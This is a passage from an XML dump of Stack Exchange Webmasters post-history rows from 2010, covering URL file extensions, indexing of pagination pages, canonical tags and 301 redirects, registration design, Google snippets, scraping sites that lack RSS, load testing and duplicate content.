That is true. In practice I think any good hacker will discover this right away, so I don't think hiding these extensions for security is worth the trouble.&#xD;&#xA;&#xD;&#xA;**My personal choice has become:**&#xD;&#xA;&#xD;&#xA; - When HTML is generated dynamically, I do not add a 'fake' extensions to mimic a directory and file structure that isn't actually there. I normalize and standardize URLs for SEO reasons. I generally prefer having a trailing slash on the last leaf of the URL, i.e. `http://example.org/first/second/` , but that's a matter of taste.&#xD;&#xA;&#xD;&#xA; - When we are in fact talking about actual files that are uploaded to a harddisk somewhere, then I keep the 'normal' file extension for the type. So .css / .js / .exe / .mp4 etc are used.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/ms775147%28VS.85%29.aspx&#xD;&#xA;  [2]: http://www.h-online.com/security/features/Risky-MIME-sniffing-in-Internet-Explorer-746229.html&#xD;&#xA;  [3]: http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx" />
  <row Id="6065" PostHistoryTypeId="2" PostId="3094" RevisionGUID="422ab1a3-ae21-4e60-abd7-919e716f5583" CreationDate="2010-09-17T13:54:19.860" UserId="233" Text="No, you should not stop search engines from indexing pagination or tags pages. (And *definitely not* your index page!) For blogs or sites without a clear menu structure, that is the main way they will find your content.&#xD;&#xA;&#xD;&#xA;More often than not the search engines can work out those pages just fine, and discover your most important content i.e. the blog entries themselves.&#xD;&#xA;&#xD;&#xA;However if you're noticing these list pages being indexed more than the blog posts, I would recommend that you block indexing of &quot;infinite configurations&quot;, for example sorting by popularity. Or anything where the same items are listed in different orders - allow indexing of one sensible order and ignore the rest." />
  <row Id="6066" PostHistoryTypeId="5" PostId="3093" RevisionGUID="e16b629d-0716-45a8-b289-9db4f9827da3" CreationDate="2010-09-17T13:56:01.187" UserId="1857" Comment="added 416 characters in body" Text="&gt; Is it preferred to have a file-extension or not?&#xD;&#xA;&#xD;&#xA;**There is nothing in the RFCs to mandate having file-extensions, neither is there anything requiring you to leave them out. It's a choice you make.**&#xD;&#xA;&#xD;&#xA;Conformant HTTP URI's don't need file extensions for anything. There is a rich set of HTTP headers (especially the MIME type) to handle everything that file-extensions are otherwise used for.&#xD;&#xA;&#xD;&#xA;That said, most browsers today do in fact rely on a [combination of MIME type, extension, and binary 'fingerprint'][1] of the first bytes to determine content type. This can sometimes [give surprising results][2], and so it's important that we webmasters set the right headers (and possibly [disable content type sniffing][3] if we are 101% sure our headers are correct).&#xD;&#xA;&#xD;&#xA;**There is one situation where file extensions are useful:** If the end user saves content from your site to his local computer for later use. Theoretically a 'smart' browser should ensure that saved content works for the local computer type; but in practice you can help everyone by serving up content with industry-standard extensions like .jpg , .mp4 , .css etc. In my experience all browsers handle the HTML type properly. You don't need to add a .htm / .html extension on HTML yourself, the browser will handle this specific content type correctly.&#xD;&#xA;&#xD;&#xA;**Security:** One could argue that there is a security benefit in hiding which platform you're using (.php / .asp etc). That's true. In practice I think any good hacker will discover this right away, so I don't think hiding these extensions for security alone is worth the trouble.&#xD;&#xA;&#xD;&#xA;**Special consideration:** If you plan to use a CDN in the future, and your CDN is of the &quot;push&quot; type (content is uploaded to the CDN beforehand fx via SFTP), then you might want to keep file extensions. Most 3rd party systems look at file extensions to discover which MIME type to serve up the content with.&#xD;&#xA;&#xD;&#xA;**My personal choice has become:**&#xD;&#xA;&#xD;&#xA; - When HTML is generated dynamically by my webapp, I do not add a 'fake' .html extension to mimic a directory and file structure that isn't actually there. I normalize URLs and I standardize the URL format used for reasons of SEO. I personally prefer having a trailing slash on the last leaf of the URL, i.e. `http://example.org/first/second/` , but that's a matter of taste.&#xD;&#xA;&#xD;&#xA; - When we are in fact talking about actual files that are uploaded to a harddisk somewhere, then I keep the 'normal' file extension for the type. So .css / .js / .exe / .mp4 etc are in use for these kinds of content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/ms775147%28VS.85%29.aspx&#xD;&#xA;  [2]: http://www.h-online.com/security/features/Risky-MIME-sniffing-in-Internet-Explorer-746229.html&#xD;&#xA;  [3]: http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx" />
  <row Id="6067" PostHistoryTypeId="2" PostId="3095" RevisionGUID="b5fb425f-e392-4637-9762-01a6ed2e8ec4" CreationDate="2010-09-17T14:17:53.877" UserId="233" Text="The **canonical tag** is most useful when it's technically easier to display content instead of redirecting. Take this site as an example. The question number (3091) is the only part which determines which question to display.&#xD;&#xA;&#xD;&#xA;When the page loads the page content is fetched based on that ID. If it turns out the &quot;slug&quot; (`seo-301...`) is wrong, you already have the content so may as well display it, instead of delaying the user by redirecting and fetching content all over again.&#xD;&#xA;&#xD;&#xA;A **301 redirect** is mainly used when the URL has changed significantly, for example a page has moved to a different domain or completely different URL structure (best avoided if possible).&#xD;&#xA;&#xD;&#xA;301s do carry PageRank through to the destination*, so if A links to B and B redirects to C, the link on A is essentially treated as a link to C.&#xD;&#xA;&#xD;&#xA;\* I do believe there is some &quot;leakage&quot; of PageRank, but in general it won't affect search results." />
  <row Id="6068" PostHistoryTypeId="5" PostId="3095" RevisionGUID="1390adf4-9058-44a4-9da9-a9170dff3837" CreationDate="2010-09-17T14:23:06.047" UserId="233" Comment="added 68 characters in body" Text="The **canonical tag** is most useful when it's technically easier to display content instead of redirecting. Take this site as an example. The question number (3091) is the only part which determines which question to display.&#xD;&#xA;&#xD;&#xA;When the page loads the page content is fetched based on that ID. If it turns out the &quot;slug&quot; (`seo-301...`) is wrong, you already have the content so may as well display it, instead of delaying the user by redirecting and fetching content all over again. A canonical tag is used to give the correct URL for search engines.&#xD;&#xA;&#xD;&#xA;A **301 redirect** is mainly used when the URL has changed significantly, for example a page has moved to a different domain or completely different URL structure (best avoided if possible).&#xD;&#xA;&#xD;&#xA;301s do carry PageRank through to the destination*, so if A links to B and B redirects to C, the link on A is essentially treated as a link to C.&#xD;&#xA;&#xD;&#xA;\* I do believe there is some &quot;leakage&quot; of PageRank, but in general it won't affect search results." />
  <row Id="6069" PostHistoryTypeId="2" PostId="3096" RevisionGUID="93a1c8da-1e09-408f-9e8e-3dfa4d052a3b" CreationDate="2010-09-17T15:19:37.803" UserId="1725" Text="Lets say we are designing a new website's registration form.&#xD;&#xA;&#xD;&#xA;Would I need to provide a space for a username, or should I simply require an email address?&#xD;&#xA;&#xD;&#xA;Are there any serious issues with either of these methods?" />
  <row Id="6070" PostHistoryTypeId="1" PostId="3096" RevisionGUID="93a1c8da-1e09-408f-9e8e-3dfa4d052a3b" CreationDate="2010-09-17T15:19:37.803" UserId="1725" Text="User Registration forms— Do we need a user name?" />
  <row Id="6071" PostHistoryTypeId="3" PostId="3096" RevisionGUID="93a1c8da-1e09-408f-9e8e-3dfa4d052a3b" CreationDate="2010-09-17T15:19:37.803" UserId="1725" Text="&lt;website-design&gt;&lt;users&gt;&lt;registration&gt;&lt;forms&gt;" />
  <row Id="6072" PostHistoryTypeId="2" PostId="3097" RevisionGUID="043f044b-918d-4647-8b55-750593b08f00" CreationDate="2010-09-17T15:56:25.417" UserId="1074" Text="There's issues with both, believe it or not.&#xD;&#xA;&#xD;&#xA;People change their email almost constantly, it seems.  The younger they are, the worse it is.  For this reason, it's tough to tie accounts to email.  However, emails seem far easier for people to remember than usernames.&#xD;&#xA;&#xD;&#xA;Usernames are great in that they don't often change, but people do often forget them.  Then you have to deal with both a password retrieval system AND a username retrieval system.  Double the work, half the fun.&#xD;&#xA;&#xD;&#xA;I personally do both when I'm doing a site without some sort of open id system.  I collect both, store both in the DB, then search based on the entered login value to see which one they intended to use.  Obviously, this means no @ symbols in usernames.  However, it makes it pretty easy for my users to remember at least one of two options.  For retrieval I use a challenge system, as I'm wary of emails for validation purposes.  Hackers can get emails...they may not know what a person's first dog's name or favorite car is.&#xD;&#xA;&#xD;&#xA;OpenId seems to make a lot of this arguement less important.  It's a good thing to check out.&#xD;&#xA;" />
  <row Id="6074" PostHistoryTypeId="2" PostId="3099" RevisionGUID="ee2f22c4-598b-423a-8520-4b5ba0b8c417" CreationDate="2010-09-17T15:58:42.027" UserId="1857" Text="Depending on your target audience ('normal', very tech savvy, or coming from social networks) I would say **either**:&#xD;&#xA;&#xD;&#xA; - email address and password (the email address is the username)&#xD;&#xA;&#xD;&#xA;**or**&#xD;&#xA;&#xD;&#xA; - [OpenID, Facebook Connect,][1] or similar federated login.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dvrom.eu/2009/03/02/openid-vs-facebook-connect/" />
  <row Id="6075" PostHistoryTypeId="5" PostId="3099" RevisionGUID="7ab902a5-f29b-468e-be2a-a30ef04d494b" CreationDate="2010-09-17T16:06:45.387" UserId="1857" Comment="added 667 characters in body" Text="Depending on your target audience ('normal', very tech savvy, or originating from social networks) **either**:&#xD;&#xA;&#xD;&#xA; - email address and password (the email address is the username)&#xD;&#xA;&#xD;&#xA;**or**&#xD;&#xA;&#xD;&#xA; - [OpenID, Facebook Connect,][1] or similar federated login.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Both have their issues.&#xD;&#xA;&#xD;&#xA;In some audiences email addresses change a lot. You need a good account recovery mechanism, preferably with an option to add multiple email addresses to each account. But still, email addresses as usernames are superior to self-chosen usernames because people can remember them, and using just email + password simplifies the signup process.&#xD;&#xA;&#xD;&#xA;OpenID, Facebook Connect etc are great. But the whole mechanism of &quot;I'm on Site B, and I can't log in. I need to go to Site *A* to check my credentials&quot; is not understood by the mass market yet. OpenID works great with very tech-savvy audiences though, as illustrated by the Stack Exchange sites...&#xD;&#xA;&#xD;&#xA;  [1]: http://dvrom.eu/2009/03/02/openid-vs-facebook-connect/" />
  <row Id="6076" PostHistoryTypeId="5" PostId="3099" RevisionGUID="b4236dbe-dd0a-4ce5-a0b8-4ed7523d9044" CreationDate="2010-09-17T16:13:07.420" UserId="1857" Comment="added 210 characters in body; deleted 4 characters in body" Text="Depending on your target audience ('normal', very tech savvy, or originating from social networks) **either**:&#xD;&#xA;&#xD;&#xA; - email address &amp; password (the email address is the username)&#xD;&#xA;&#xD;&#xA;**or**&#xD;&#xA;&#xD;&#xA; - [OpenID, Facebook Connect,][1] or similar federated login.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Both have their issues.*&#xD;&#xA;&#xD;&#xA;In some audiences email addresses change a lot. You need a good account recovery mechanism, preferably with an option to add multiple email addresses to each account. But still, email addresses as usernames are superior to self-chosen usernames because people can remember them, and using just email + password simplifies the signup process.&#xD;&#xA;&#xD;&#xA;OpenID, Facebook Connect etc are great. But the indirection of &quot;I'm on Site *B*, and I can't log in. I need to go to Site *A* to check my credentials&quot; is not understood by the mass market yet. OpenID works great with very tech-savvy audiences though, as illustrated by the Stack Exchange sites...&#xD;&#xA;&#xD;&#xA;**Conclusion:** You need to carefully consider your target audience, and if possible, run a [hallway usability test][2] of different authentication mechanisms.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dvrom.eu/2009/03/02/openid-vs-facebook-connect/&#xD;&#xA;  [2]: http://blog.openhallway.com/?p=146" />
  <row Id="6077" PostHistoryTypeId="2" PostId="3100" RevisionGUID="8c25e791-683c-4a08-819a-21c9f13b42e4" CreationDate="2010-09-17T16:26:12.777" UserId="1588" Text="Normally websites listed in Google's results pages are shown with a standard excerpt comprising two lines with a [...] at the end of the second line.&#xD;&#xA;&#xD;&#xA;Occasionally Google allows the website a full sentence without a [...] and in these cases the excerpt or summary is typically limited to a single line. Why?&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;Also occasionally Google shows no excerpt at all. Why is this?&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;We're trying to rescue a customer from virtual invisibility on Google (up till now they have been nofollow, noindex). Wondering if the fact that Google only gives them a single line is a clue to how Google sees (or doesn't) this site.&#xD;&#xA;&#xD;&#xA;Screenshots are just examples, these sites are not my client.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/VQqpm.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/hRo8F.jpg" />
  <row Id="6078" PostHistoryTypeId="1" PostId="3100" RevisionGUID="8c25e791-683c-4a08-819a-21c9f13b42e4" CreationDate="2010-09-17T16:26:12.777" UserId="1588" Text="Why does Google sometimes shower fewer than the standard pair of lines for the &quot;excerpt&quot;?" />
  <row Id="6079" PostHistoryTypeId="3" PostId="3100" RevisionGUID="8c25e791-683c-4a08-819a-21c9f13b42e4" CreationDate="2010-09-17T16:26:12.777" UserId="1588" Text="&lt;google&gt;&lt;serps&gt;" />
  <row Id="6080" PostHistoryTypeId="2" PostId="3101" RevisionGUID="ec723dc9-0d32-4efa-869f-e08ffe8ff301" CreationDate="2010-09-17T16:26:52.193" UserId="1994" Text="my site is having around 300 unique visits/5000 pageviews per day.  &#xD;&#xA;i want to know how many unique visits/page views (approx.) a site should have to be called  &#xD;&#xA;low , moderate and high traffic website.  &#xD;&#xA;  &#xD;&#xA;also how can i test strength of my website, like how many requests my website can process simultaneously.  &#xD;&#xA;http://loadimpact.com/ -- iam looking for some tool like this.&#xD;&#xA;&#xD;&#xA;i want these figures to choose a proper webhost as my new project is very big as compared to this one.   &#xD;&#xA;Also what are the things we should look for when choosing a web host. Ram and CPU are important for webservers to process requests but most of webhosts never talk of cpu and ram allotted to us. They only provide disk space and daily/monthly allowed traffic in GBS." />
  <row Id="6081" PostHistoryTypeId="1" PostId="3101" RevisionGUID="ec723dc9-0d32-4efa-869f-e08ffe8ff301" CreationDate="2010-09-17T16:26:52.193" UserId="1994" Text="categorize website based on visitors count." />
  <row Id="6082" PostHistoryTypeId="3" PostId="3101" RevisionGUID="ec723dc9-0d32-4efa-869f-e08ffe8ff301" CreationDate="2010-09-17T16:26:52.193" UserId="1994" Text="&lt;http-server&gt;&lt;webhost&gt;" />
  <row Id="6083" PostHistoryTypeId="2" PostId="3102" RevisionGUID="e0fe5c8e-372a-408a-9402-99a401c8a977" CreationDate="2010-09-17T16:54:49.350" UserId="1253" Text="You're assuming the description always has to be two lines. It obviously doesn't nor should it be. Google's goal when displaying the description underneath the page title is to help users determine if the site listed is a good match for their search query and thus worth visiting. A concise description is the ideal and I am sure Google strives to do that at every opportunity. However, if they do have what they need to do so, they'll show as much information as they need to to help users understand what that page is about.&#xD;&#xA;&#xD;&#xA;In the first example it is clearly a recipe and the description is a perfect companion to the page title. Without bothering to view the site's source code they may be using microdata or other information to help Google understand the page is a recipe and to parse the information accordingly. It's also very likely that Google recognizes the page as being a recipe and is able to discern the proper description for the recipe (that's where semantic markup comes in real handy). It's also possible that description comes from the DMOZ directory which Google will use for a page's description (although it seems unlikely in this case).&#xD;&#xA;&#xD;&#xA;In the second example the site either has no DMOZ listing, no meta tag, or has poor/no content which can displayed (i.e. the page is made in flash, only uses images, or frames). &#xD;&#xA;&#xD;&#xA;" />
  <row Id="6084" PostHistoryTypeId="2" PostId="3103" RevisionGUID="144a10fa-c78b-4b8d-8d3c-c26da0948dab" CreationDate="2010-09-17T17:51:25.890" UserId="1997" Text="I've done a little informal experimentation, and what I discovered surprised me but makes some sense.&#xD;&#xA;&#xD;&#xA;From a content-being-delivered-to-the-user standpoint, as well as screen scraping, the Content-Type rules the day.&#xD;&#xA;&#xD;&#xA;However, the presence or absence of an extension, as well as what that extension is, seems to sway search engine visits.&#xD;&#xA;&#xD;&#xA;When I omitted any extension at all, I got relatively few hits -- as if the URL were a location or dynamic content and therefore not worth indexing very much.&#xD;&#xA;&#xD;&#xA;When I changed the same links to use an .xml extension, because the pages were actually generated by XSLT (on the server side), the indexing actually dropped further -- perhaps because it thought it was merely data or the result of some programmatic request.&#xD;&#xA;&#xD;&#xA;When I changed the same links to use .html, search engines went wild with the site.&#xD;&#xA;&#xD;&#xA;At the moment, my site handles all three transparently, but when it provides a clickable link, I return the .html version of the URL.&#xD;&#xA;&#xD;&#xA;I'd like to think search engines were a little smarter, or a little less biased, but that's what I've observed happen with my pages." />
  <row Id="6085" PostHistoryTypeId="2" PostId="3104" RevisionGUID="9ec1569f-4582-4d1b-b93d-35248eb5a02d" CreationDate="2010-09-17T19:07:02.577" UserId="745" Text="No, you shouldn't use a file extension for normal page types unless you absolutely need it for a technical reason. **How does it improve the user experience?** It's more to type, yet it tells them nothing useful. What will they be able to do knowing that your site is PHP, ASP, etc? A URL is simpler, cleaner, more usable, and more memorable without a file extension.&#xD;&#xA;&#xD;&#xA;&gt; See, if a URL has no filename, then it&#xD;&#xA;&gt; normally is considered a directory.&#xD;&#xA;&#xD;&#xA;I don't think I agree. Generally, a URL is a directory only when it has a trailing slash. Without a trailing slash, it's considered a file. " />
  <row Id="6086" PostHistoryTypeId="2" PostId="3105" RevisionGUID="77d1d396-d1da-4308-8899-e7e5f663c582" CreationDate="2010-09-17T19:17:45.117" UserId="1999" Text="I have four websites that I am wanting to link to from one website. But the kicker here is that beyond just linking to the sites I was looking for a way to display updates from those sites on my site. I know this is possible through RSS syndication, but is this possible without RSS?&#xD;&#xA;&#xD;&#xA;In other words as far as I can tell the four websites do not have an RSS feed. But I was still hoping to aggregate updates from those websites in one place." />
  <row Id="6087" PostHistoryTypeId="1" PostId="3105" RevisionGUID="77d1d396-d1da-4308-8899-e7e5f663c582" CreationDate="2010-09-17T19:17:45.117" UserId="1999" Text="How to Syndicate Websites Without RSS?" />
  <row Id="6088" PostHistoryTypeId="3" PostId="3105" RevisionGUID="77d1d396-d1da-4308-8899-e7e5f663c582" CreationDate="2010-09-17T19:17:45.117" UserId="1999" Text="&lt;website-features&gt;&lt;rss&gt;&lt;syndication&gt;" />
  <row Id="6089" PostHistoryTypeId="5" PostId="3105" RevisionGUID="b06c58ba-367b-48b1-885e-920a10b9be5b" CreationDate="2010-09-17T19:46:48.263" UserId="1999" Comment="updated with new info" Text="I have four websites that I am wanting to link to from one website. But the kicker here is that beyond just linking to the sites I was looking for a way to display updates from those sites on my site. I know this is possible through RSS syndication, but is this possible without RSS?&#xD;&#xA;&#xD;&#xA;In other words as far as I can tell the four websites do not have an RSS feed. But I was still hoping to aggregate updates from those websites in one place.&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;&#xD;&#xA;There are four websites that customers have to go to and manually check for updates. Rather than have my customers check each site manually by clicking on their links from my website I was hoping there was a way to build a widget or something that would display snippets of content from those four sites. &#xD;&#xA;&#xD;&#xA;My website would need to display the latest content from the other sites. Sort of like Google Reader can do with RSS feeds. But those 4 websites do not support RSS." />
  <row Id="6090" PostHistoryTypeId="2" PostId="3106" RevisionGUID="b6c9936f-db4a-4523-8353-071b9599513c" CreationDate="2010-09-17T20:10:20.620" UserId="236" Text="if they don't support RSS, your best is probably writing a script that can parse the HTML from these pages, and get the relevant content." />
  <row Id="6091" PostHistoryTypeId="2" PostId="3107" RevisionGUID="9c7b5d07-5d48-4712-9159-f2b031bf1b6a" CreationDate="2010-09-17T20:16:13.143" UserId="1253" Text="As mentioned above without RSS or any API you can tap into you will be forced to grab and parse those websites. You'll probably want to use a cron job to run your crawler on a predetermined basis. It should be no more more frequent then those sites are updated.&#xD;&#xA;&#xD;&#xA;You should also verify that the other sites' owners do not object to have their websites scrapped. If nothing else it's good form to ask for permission to do so ahead of time.&#xD;&#xA;&#xD;&#xA;See [this answer][1] for the beginnings of a PHP based solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2969/possible-to-only-load-specifiv-div-of-a-website/2970#2970" />
  <row Id="6092" PostHistoryTypeId="2" PostId="3108" RevisionGUID="e328d607-9394-4e51-9960-1d5cb1f40236" CreationDate="2010-09-17T21:27:35.473" UserId="745" Text="You could also email those websites and ask them to publish RSS feeds." />
  <row Id="6093" PostHistoryTypeId="2" PostId="3109" RevisionGUID="791ecbcb-261a-41e4-b29d-aaba54f72c82" CreationDate="2010-09-17T21:32:40.613" UserId="1950" Text="JMeter is a good load-testing tool http://jakarta.apache.org/jmeter/&#xD;&#xA;&#xD;&#xA;Make sure you’re allowed to by the hoster / webspace provider, as they may thing it’s a DOS or DDOS attack.&#xD;&#xA;&#xD;&#xA;Things to look for… Well, depending on how big your project is you may want to check not only webspace but also vserver or root server hosting, which requires more administration from your side then though. But you’ll have more info about hardware and control over it.&#xD;&#xA;&#xD;&#xA;You can always ask hosters on what system they would host you. Shared host? With how many other websites on what system?&#xD;&#xA;&#xD;&#xA;If they don’t provide you any info, maybe they have something to hide? :)" />
  <row Id="6095" PostHistoryTypeId="2" PostId="3111" RevisionGUID="1194b9d2-5057-436c-af66-1bcee08a031f" CreationDate="2010-09-17T22:48:49.963" UserId="1064" Text="The second example you provided - the text with URL - definitely looks like a site which has been `noindex,nofollow` (and Google has yet to catch up with recent changes).&#xD;&#xA;&#xD;&#xA;In this case, it appears as though the anchor text and/or anchor title associated with links to your client's site is being used - it's the only info Google has and it beats total invisibility.&#xD;&#xA;&#xD;&#xA;I'd get the site set up with [Google Webmaster Tools][1], make sure your most recent robots.txt has been accepted, and submit a sitemap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/" />
  <row Id="6096" PostHistoryTypeId="2" PostId="3112" RevisionGUID="ae5252b5-d1f8-4e73-a511-411b0c0ab903" CreationDate="2010-09-17T23:35:36.263" UserId="233" Text="The reasons are pretty simple. Google normally uses the meta description for its snippet. In the first example the meta description is short so Google has used that. (Often in these cases Google would show a snippet from the page if it thinks the meta isn't useful enough.)&#xD;&#xA;&#xD;&#xA;The second case normally happens if the page is blocked by robots.txt or the robots meta tags. It may also be due to no actual textual content on the page, for example if the page is all Flash." />
  <row Id="6097" PostHistoryTypeId="2" PostId="3113" RevisionGUID="278224c7-98a9-4cc1-b0e6-3b6ca3641d71" CreationDate="2010-09-18T04:13:08.167" UserId="576" Text="I can think of 3 ways -&#xD;&#xA;1) [Google Spreadsheets' ImportHtml function][1] can help you selectively scrape content from any website. You can then [embed this spreadsheet data as a widget][2]&#xD;&#xA;&#xD;&#xA;2) Use [YQL][3]. Requires a little programming but the grunt work is simplified&#xD;&#xA;&#xD;&#xA;3) Check [this article on creating an RSS feed of any website without requiring software or having to write a single line of XML code][4]. Using this method, you don't even have to be the owner of the site to create the feed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.google.com/support/bin/answer.py?hl=en&amp;answer=75507&#xD;&#xA;  [2]: http://docs.google.com/support/bin/answer.py?hl=en&amp;answer=55244&#xD;&#xA;  [3]: http://mvark.blogspot.com/2010/04/screen-scrape-with-jquery-ajax-jsonp.html&#xD;&#xA;  [4]: http://www.labnol.org/internet/create-rss-feed-for-websites/5470/" />
  <row Id="6098" PostHistoryTypeId="2" PostId="3114" RevisionGUID="3753911b-a217-4c7b-8250-6c05aa9a7f6a" CreationDate="2010-09-18T06:17:57.790" UserDisplayName="Spikey" Text="Ok, it is easier to type, but most of the time the user clicks on it in the search engine result and if it is not there at all, then it is maybe user friendly but not seen by any user at all. Sorry, you have no choice." />
  <row Id="6099" PostHistoryTypeId="2" PostId="3115" RevisionGUID="1da31a8d-cf0e-45b5-ade5-3df4f34ce7db" CreationDate="2010-09-18T15:33:58.170" UserId="1984" Text="Thanks for the suggestions.  I ended up using (and customizing) the [F8 Lite theme][1] on Wordpress.&#xD;&#xA;&#xD;&#xA;[This blog post][2] explains how to use it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/themes/f8-lite&#xD;&#xA;  [2]: http://kirastackhouse.com/2009/03/15/f8-lite-wp-theme-how-to-get-images-to-appear/" />
  <row Id="6100" PostHistoryTypeId="2" PostId="3116" RevisionGUID="159468b2-8d60-4c77-8773-7c11902ddfc5" CreationDate="2010-09-18T19:11:52.310" UserId="914" Text="It can also depend on how you store your user information. For instance, if you use a database that has the primary key as the username then you probably wouldn't want to use email address as the username, since if the user changes their email address then this will change the primary key (and screw up any foreign key references)." />
  <row Id="6101" PostHistoryTypeId="2" PostId="3117" RevisionGUID="857ae0c3-8dc6-43aa-952b-1b8601b5afc9" CreationDate="2010-09-18T19:45:07.707" UserId="1918" Text="On a slightly under-powered server, it occasionally gets hit by lots of robots crawling simultaneously. Whilst one solution is to look into throwing more processing power at the web server, it has highlighted that some of the scripts are less than wonderfully optimised.&#xD;&#xA;&#xD;&#xA;That I'd love to be able to do is calculate the CPU time on a per-request basis, and focus on fixing those first. Is there anything built into Apache or PHP that could help achieve this? I guess MySQL would have its own metrics that would identify the most server intensive queries as well?" />
  <row Id="6102" PostHistoryTypeId="1" PostId="3117" RevisionGUID="857ae0c3-8dc6-43aa-952b-1b8601b5afc9" CreationDate="2010-09-18T19:45:07.707" UserId="1918" Text="Is there any way to diagnose which PHP or Perl scripts consume the most CPU time on a production server?" />
  <row Id="6103" PostHistoryTypeId="3" PostId="3117" RevisionGUID="857ae0c3-8dc6-43aa-952b-1b8601b5afc9" CreationDate="2010-09-18T19:45:07.707" UserId="1918" Text="&lt;apache&gt;&lt;performance&gt;" />
  <row Id="6104" PostHistoryTypeId="2" PostId="3118" RevisionGUID="b9aab8f2-3efe-402d-8965-fddc05b762d1" CreationDate="2010-09-18T20:24:42.850" UserId="1914" Text="Trac is fairly robust and has a large userbase. It's complex to setup (as is any SVN repo setup), however, there are some good guides out there for it. Info: http://trac.edgewall.org/ Install Instructions: http://trac.edgewall.org/wiki/TracInstall" />
  <row Id="6105" PostHistoryTypeId="2" PostId="3119" RevisionGUID="009260d1-13d5-4497-aeb3-280df126a567" CreationDate="2010-09-18T21:52:01.823" UserId="1828" Text="A competitors set up a new site and copy and pasted some copy from our home page.&#xD;&#xA;&#xD;&#xA;When doing a comparison with a duplicate content tool the result was that the pages where 21% similiar.&#xD;&#xA;&#xD;&#xA;Does the fact they have copied our content affect our site?&#xD;&#xA;&#xD;&#xA;Their site has seen an increase in their ranking recently and ours ahs dropped slightly" />
  <row Id="6106" PostHistoryTypeId="1" PostId="3119" RevisionGUID="009260d1-13d5-4497-aeb3-280df126a567" CreationDate="2010-09-18T21:52:01.823" UserId="1828" Text="Does duplicate content on another site affect my ranking?" />
  <row Id="6107" PostHistoryTypeId="3" PostId="3119" RevisionGUID="009260d1-13d5-4497-aeb3-280df126a567" CreationDate="2010-09-18T21:52:01.823" UserId="1828" Text="&lt;seo&gt;&lt;google&gt;&lt;content&gt;&lt;site-ranking&gt;" />
  <row Id="6108" PostHistoryTypeId="2" PostId="3120" RevisionGUID="2521a3f9-8f66-45af-8ca0-509abbcde0e3" CreationDate="2010-09-18T23:29:16.517" UserId="1426" Text="Firstly, if they've copied original content from you without permission this is a breach of copyright, so you could consider legal action. A complaint to their ISP would be the first port of call here. You'd need to be able to prove that you are the original author of the content.&#xD;&#xA;&#xD;&#xA;Regarding the SEO aspect, from &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=66359&quot;&gt;Google's webmaster guidelines&lt;/a&gt;:&#xD;&#xA;&#xD;&#xA;&gt; If you find that another site is duplicating your content by scraping (misappropriating and republishing) it, it's unlikely that this will negatively impact your site's ranking in Google search results pages.&#xD;&#xA;&#xD;&#xA;See also: http://googlewebmastercentral.blogspot.com/2008/09/demystifying-duplicate-content-penalty.html&#xD;&#xA;&#xD;&#xA;Google mostly uses 'duplicate content' to avoid showing the same content to users in search results on multiple domains. E.g. if you searched for a book title you wouldn't want to see the same book listing on amazon.com, amazon.co.uk, amazon.fr and amazon.de in the results. In my experience they're pretty good at detecting the difference between this and copied content, and 21% doesn't sound like something that's going to cause you any problems.&#xD;&#xA;&#xD;&#xA;Remember there are many different factors that affect the ranking of results, so even if you have seen a drop recently I would be wary of thinking that this was the direct result of this action." />
  <row Id="6109" PostHistoryTypeId="2" PostId="3121" RevisionGUID="874a6345-ad42-4230-b6fe-559722dceea9" CreationDate="2010-09-18T23:58:03.790" UserId="1064" Text="There are a few possible ways of going about this - which way will be best is, ultimately, going to depend upon how much time and effort you're willing to dedicate to a solution.&#xD;&#xA;&#xD;&#xA;**PHP Benchmarking:** Generally a high time/effort implementation if your code does not already include benchmarking. Add a snippet of code to set time and microtime timers at the start of each script and log the total time and microtime elapsed at the end of the script (along with the URI which was called). You can add additional benchmarking timers for specific functions if you may need to refactor your code at a later time (just remember to wait until *after* all regular operations have completed to write your benchmark data - otherwise you'll interfere with the benchmarking information).&#xD;&#xA;&#xD;&#xA;**wget Benchmarking:** Possibly the laziest way to benchmark. Grab a list of requested URI's from your webserver logs and feed them into wget as local requests against the webserver (ideally you would do this several times while traffic is very low to get representative results)" />
  <row Id="6110" PostHistoryTypeId="5" PostId="3120" RevisionGUID="37fead3a-8fae-42bd-96e6-ad12f5c3bfc8" CreationDate="2010-09-19T00:29:42.643" UserId="1426" Comment="deleted 2 characters in body; added 14 characters in body" Text="Firstly, if they've copied original content from you without permission this is a breach of copyright, so you could consider legal action. A complaint to their ISP would be the first port of call here. You'd need to be able to prove that you are the original author of the content.&#xD;&#xA;&#xD;&#xA;Regarding the SEO aspect, from &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=66359&quot;&gt;Google's webmaster guidelines&lt;/a&gt;:&#xD;&#xA;&#xD;&#xA;&gt; If you find that another site is duplicating your content by scraping (misappropriating and republishing) it, it's unlikely that this will negatively impact your site's ranking in Google search results pages.&#xD;&#xA;&#xD;&#xA;See also: http://googlewebmastercentral.blogspot.com/2008/09/demystifying-duplicate-content-penalty.html&#xD;&#xA;&#xD;&#xA;Google mostly uses 'duplicate content' to avoid including the same content from multiple domains in search results. E.g. if you searched for a book title you wouldn't want to see the same book listing on amazon.com, amazon.co.uk, amazon.fr and amazon.de in the results. In my experience 